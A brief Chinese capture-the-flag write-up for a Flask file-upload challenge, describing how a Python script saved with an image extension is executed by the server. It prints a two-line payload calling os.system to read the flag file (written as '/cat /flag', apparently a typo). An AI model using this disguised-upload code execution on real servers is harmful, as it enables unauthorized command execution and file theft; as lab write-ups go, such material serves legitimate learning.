ctf之Flask_fileUpload

启动环境,显示如图:

ctf之Flask_fileUpload

 

 直接f12产看源码信息:

ctf之Flask_fileUpload

 

 大致意思是:使用python编写文件然后以图片格式上传系统会以ipython格式解析,就可获取flag。

编写python代码:

import os
os.system('/cat /flag')

修改格式后上传,获得flag

ctf之Flask_fileUpload

 

上一篇:springboot返回统一接口与统一异常处理


下一篇:文件的上传和下载